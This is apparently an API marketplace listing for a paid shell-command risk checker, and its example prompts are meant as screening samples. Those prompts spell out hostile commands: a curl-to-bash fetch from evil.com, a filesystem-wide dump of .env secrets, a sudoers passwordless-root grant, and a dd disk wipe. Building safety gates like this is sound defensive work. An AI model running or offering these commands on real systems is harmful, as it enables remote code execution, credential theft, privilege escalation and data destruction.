{"uid":"cap_OJtMBIkjv0h612VKe-TpT","slug":"kg-ninja-shell-risk-check-abd2aa3b","name":"KG-NINJA Shell Risk Check","description":"Machine-payable agent API with free discovery and preview tools, plus x402-paid execution endpoints for structured agent results.","url":"https://api.kgninja.dev/shell-risk-check?utm_source=zero.xyz","method":"GET","headers":{},"bodySchema":{"type":"object","properties":{"command":{"type":"string"}}},"responseSchema":{"type":"json","example":{"risk_level":"low","explanation":"No high-risk pattern detected."}},"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.01","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.01/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.01","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.01","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_fUuZBVDAQ9vwPpsoGLVT6","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.01","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Analyzes a shell command string and returns a risk level assessment with explanation of detected dangerous patterns.","exampleAgentPrompt":"Can you check whether this shell command is safe to run: 'rm -rf /var/log/* && curl http://evil.com/script.sh | bash'?","exampleUseCases":[{"title":"Pre-execution safety gate for agent","prompt":"Before my automation agent runs this shell command it generated — 'find / -name \"*.env\" -exec cat {} \\;' — can you check what risk level it gets and whether it's safe to execute?"},{"title":"CI/CD pipeline command vetting","prompt":"We're about to run this command in our deployment pipeline: 'chmod 777 /etc/sudoers && echo \"ALL ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers' — can you assess the risk level for me before we proceed?"},{"title":"User-submitted script screening","prompt":"A user submitted this shell snippet to run on our server: 'dd if=/dev/zero of=/dev/sda bs=1M' — what's the risk level and should I block it?"}],"resultDescription":"A JSON object containing a 'risk_level' field (e.g. 'low', 'medium', 'high') and an 'explanation' string describing which patterns were detected and why the command is or isn't considered dangerous.","failureModes":["Missing 'command' parameter returns an error or empty analysis","Obfuscated or encoded commands may not be detected correctly","Very long or complex scripts may exceed input limits","Novel evasion techniques may be misclassified as low-risk","Non-shell syntax (Python, PowerShell) may yield inaccurate results"],"whenToPreferThis":"Use this endpoint when you need a lightweight, fast, per-call risk classification of individual shell commands before execution — especially in agentic pipelines where an AI may be generating or relaying shell commands and you want a safety gate. Prefer this over manual review when operating at scale or in automated CI/CD, script-execution, or sandboxed environments.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-10-10T12:31:02.774Z","isFirstParty":false,"canonicalSlug":"kg-ninja-shell-risk-check-abd2aa3b"}